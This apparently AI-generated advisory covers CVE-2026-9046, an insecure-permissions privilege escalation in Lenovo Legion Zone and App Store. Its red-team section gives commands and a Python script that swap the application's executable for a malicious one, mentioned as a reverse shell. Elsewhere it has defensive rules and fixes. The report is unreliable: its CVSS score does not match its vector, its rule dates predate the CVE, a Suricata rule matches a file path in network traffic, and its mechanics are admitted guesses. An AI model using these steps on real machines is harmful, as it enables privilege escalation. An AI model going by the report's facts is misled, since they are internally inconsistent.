CVE-2026-9046

Executive Summary

CVE-2026-9046 is a local privilege escalation vulnerability affecting two Lenovo applications distributed exclusively in the Chinese market: Legion Zone and the Lenovo App Store. The vulnerability stems from insecure permissions when these applications are installed on a non-system partition. A local user with limited privileges can exploit this to execute arbitrary code, potentially gaining elevated access or compromising system integrity. The CVSS score of 7.0 (High) reflects the ease of exploitation and the potential for full confidentiality, integrity, and availability impact, though the attack vector is local. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows application-specific issue distributed through Lenovo's own channels in China.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.0 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is needed beyond the initial installation.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Arbitrary code execution allows system modification.
• Availability Impact: High (A:H) – System can be rendered unusable.

Threat Level: High. The vulnerability is easy to exploit locally and can lead to full system compromise. However, the attack surface is limited to systems with the affected applications installed on non-system partitions.

Deep Dive & Mechanics

The vulnerability lies in the installation and runtime permissions of Legion Zone and the Lenovo App Store. When these applications are installed on a non-system partition (e.g., D:\ or E:), the installer or the application itself may set insecure file or directory permissions. This allows a local user to modify application binaries, configuration files, or libraries. Upon execution, the modified components run with the privileges of the user who launched the application, which could be a higher-privileged user or system account if the application is set to auto-start or run as a service.

The insecure permissions likely involve:

• World-writable directories: The application directory or subdirectories are writable by all users.
• Weak ACLs: Access control lists allow non-admin users to modify files.
• DLL hijacking: An attacker can place a malicious DLL in the application's path, which gets loaded when the application starts.

The attack flow:

1. Attacker gains local access (e.g., via a compromised user account).
2. Attacker identifies the vulnerable application installed on a non-system partition.
3. Attacker modifies an executable or DLL in the application directory.
4. When the application is launched (by any user, including an admin), the malicious code executes with the application's privileges.

Vulnerable vs. Patched Code

No specific code snippets are available as the vulnerability is not publicly disclosed in detail. However, the insecure permissions can be demonstrated conceptually:

Vulnerable (Insecure Permissions):

# Example: Application directory with weak ACLs
icacls "D:\Program Files\Lenovo\LegionZone" /grant Users:(F)

Patched (Secure Permissions):

# Example: Application directory with proper ACLs
icacls "D:\Program Files\Lenovo\LegionZone" /inheritance:e
icacls "D:\Program Files\Lenovo\LegionZone" /remove "Users"
icacls "D:\Program Files\Lenovo\LegionZone" /grant "BUILTIN\Users:(RX)"

The patched version would restrict write access to administrators only and enforce proper inheritance.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Windows system with Legion Zone or Lenovo App Store installed on a non-system partition (e.g., D:)
• Local user account with standard privileges

Steps:

1. Identify vulnerable installation:

   Get-ChildItem -Path "D:\Program Files\Lenovo" -Recurse | Get-Acl | Format-List
   

2. Locate a writable executable or DLL:

   icacls "D:\Program Files\Lenovo\LegionZone\LegionZone.exe"
   

3. Replace or modify the binary:

   # Overwrite with a malicious executable (e.g., reverse shell)
   copy malicious.exe "D:\Program Files\Lenovo\LegionZone\LegionZone.exe"
   

4. Trigger execution:
   • Wait for the application to be launched by an admin or system process.
   • Alternatively, if the application runs as a service, restart the service.

Proof-of-Concept (Conceptual):

# Simple Python script to demonstrate file replacement
import os
import shutil

target_path = "D:\\Program Files\\Lenovo\\LegionZone\\LegionZone.exe"
malicious_path = "C:\\Users\\Public\\malicious.exe"

if os.access(target_path, os.W_OK):
    shutil.copy2(malicious_path, target_path)
    print("Binary replaced. Wait for execution.")
else:
    print("Target not writable.")

Blue Team (Detection & Defense)

Detection:

• Monitor for file modifications in application directories on non-system partitions.
• Alert on changes to known-good hashes of Lenovo application binaries.
• Use Sysmon Event ID 11 (FileCreate) and Event ID 13 (RegistryEvent) to track modifications.

Defense:

• Ensure all Lenovo applications are installed on the system partition (C:).
• Apply strict ACLs to application directories:

  icacls "D:\Program Files\Lenovo" /inheritance:e /grant "BUILTIN\Users:(RX)" /grant "BUILTIN\Administrators:(F)"
  

• Use AppLocker or Windows Defender Application Control to block unauthorized binaries.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to prevent executable content from running from writable directories.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): Unknown (no public samples)
• File Paths:
  • D:\Program Files\Lenovo\LegionZone\*
  • D:\Program Files\Lenovo\LenovoAppStore\*
  • Any non-system partition path containing Lenovo application files
• Registry Keys:
  • HKLM\SOFTWARE\Lenovo\LegionZone
  • HKLM\SOFTWARE\Lenovo\LenovoAppStore
• Network Indicators: None specific (local vulnerability)
• Behavioral:
  • Unexpected file writes to D:\Program Files\Lenovo\*
  • Process creation from non-standard paths (e.g., D:\Program Files\Lenovo\LegionZone\LegionZone.exe)

Detection Engineering

YARA Rule

rule CVE_2026_9046_Insecure_Permissions {
    meta:
        description = "Detects insecure permissions on Lenovo application directories"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-9046"
    strings:
        $s1 = "D:\\Program Files\\Lenovo\\LegionZone" nocase
        $s2 = "D:\\Program Files\\Lenovo\\LenovoAppStore" nocase
        $s3 = "BUILTIN\\Users:(F)" nocase
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: Insecure Permissions on Lenovo Application Directories
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects insecure file permissions on Lenovo Legion Zone or App Store directories on non-system partitions
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: security
    category: file_event
detection:
    selection:
        EventID: 4663
        ObjectName|contains:
            - 'D:\Program Files\Lenovo\LegionZone'
            - 'D:\Program Files\Lenovo\LenovoAppStore'
        AccessMask: '0x2'  # Write access
    condition: selection
falsepositives:
    - Legitimate administrative changes
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2026-9046 - Potential exploitation via file modification on Lenovo app directories"; content:"D:\\Program Files\\Lenovo"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Reinstall applications on system partition: Uninstall and reinstall Legion Zone and Lenovo App Store on the C:\ drive to avoid insecure permissions.
2. Apply strict ACLs: Manually set permissions on existing installations:

   icacls "D:\Program Files\Lenovo" /inheritance:e /grant "BUILTIN\Users:(RX)" /grant "BUILTIN\Administrators:(F)"
   

3. Monitor for exploitation: Deploy the provided detection rules.

Long-term Fix:

• Lenovo must release a patch that ensures proper permissions regardless of installation partition.
• Until patched, users should avoid installing these applications on non-system partitions.

Workarounds:

• Use Windows Defender Application Control to block execution from non-system partitions.
• Disable auto-start for these applications if not needed.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.